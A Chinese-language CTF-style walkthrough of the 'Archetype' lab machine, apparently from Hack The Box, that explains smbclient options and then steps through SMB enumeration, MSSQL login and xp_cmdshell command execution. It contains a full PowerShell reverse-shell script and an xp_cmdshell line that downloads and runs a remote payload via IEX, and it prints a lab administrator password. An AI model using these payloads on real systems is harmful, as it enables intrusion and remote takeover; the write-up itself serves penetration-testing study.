文章目錄
- 工具介紹
- smbclient
- psexec
- Archetype
工具介紹
smbclient
Smbclient(samba client)是基于SMB協定的,用于存取共享目标的用戶端程式。
參數:
網絡資源 網絡資源的格式為//伺服器名稱/資源分享名稱。
密碼 輸入存取網絡資源所需的密碼。
-B 傳送廣播資料包時所用的IP位址。
-d< 排錯層級> 指定記錄檔案所記載事件的詳細程度。
-E 将資訊送到标準錯誤輸出裝置。
-h 顯示幫助。
-i< 範圍> 設定NetBIOS名稱範圍。
-I 指定伺服器的IP位址。
-l< 記錄檔案> 指定記錄檔案的名稱。
-L 顯示伺服器端所分享出來的所有資源。
-M 可利用WinPopup協定,将資訊送給選項中所指定的主機。
-n 指定使用者端所要使用的NetBIOS名稱。
-N 不用詢問密碼。
-O< 連接配接槽選項> 設定使用者端TCP連接配接槽的選項。
-p 指定伺服器端TCP連接配接端口編号。
-R< 名稱解析順序> 設定NetBIOS名稱解析的順序。
-s< 目錄> 指定smb.conf所在的目錄。
-t< 伺服器字碼> 設定用何種字元碼來解析伺服器端的檔案名稱。
-T 備份伺服器端分享的全部檔案,并打包成tar格式的檔案。
-U< 使用者名稱> 指定使用者名稱。
-W< 工作群組> 指定工作群組名稱。
psexec
用于遠端連接配接的工具
Archetype
首先配置好能夠ping通位址
接下來掃一下開放的端口
這裡有SMB看看是否有匿名通路
有個backup看一看
看看内容
洩露了密碼嘗試登入
檢視
SELECT IS_SRVROLEMEMBER ( 'sysadmin ' )
,發現是SA權限
是以我們可以嘗試使用
xp_cmdshell
來擷取RCE
EXEC sp_configure 'Show Advanced Options', 1;
reconfigure;
sp_configure;
EXEC sp_configure 'xp_cmdshell', 1 reconfigure;
xp_cmdshell "whoami"
但是這個東西不太穩定我執行幾個指令以後就丢失了連接配接,是以嘗試反彈shell
$client = New-Object System.Net.Sockets.TCPClient("10.10.14.166",443);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
{;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String ); //2>&1标準錯誤重定向到标準輸出
$sendback2 = $sendback + "# ";
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()};
$client.Close()
使用
xp_cmdshell "powershell "IEX (New-Object Net.WebClient).DownloadString(\"http://10.10.14.166/shell.ps1\");"
之後開啟nc監聽拿到shell互動
我們檢查一下powershell的曆史記錄
type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Console Host_history.txt
可以看到powershell中最近執行的一些指令,其中一條指令是net.exe use T: \Archetype\backups /user:administrator MEGACORP_4dm1n!!,此net use指令作用是使用administrator使用者登入後将共享檔案夾\Archetype\backups映射到本機的T盤,即使看不懂這條指令也能夠看到administrator使用者名和它後面的密碼。
使用psec遠端連接配接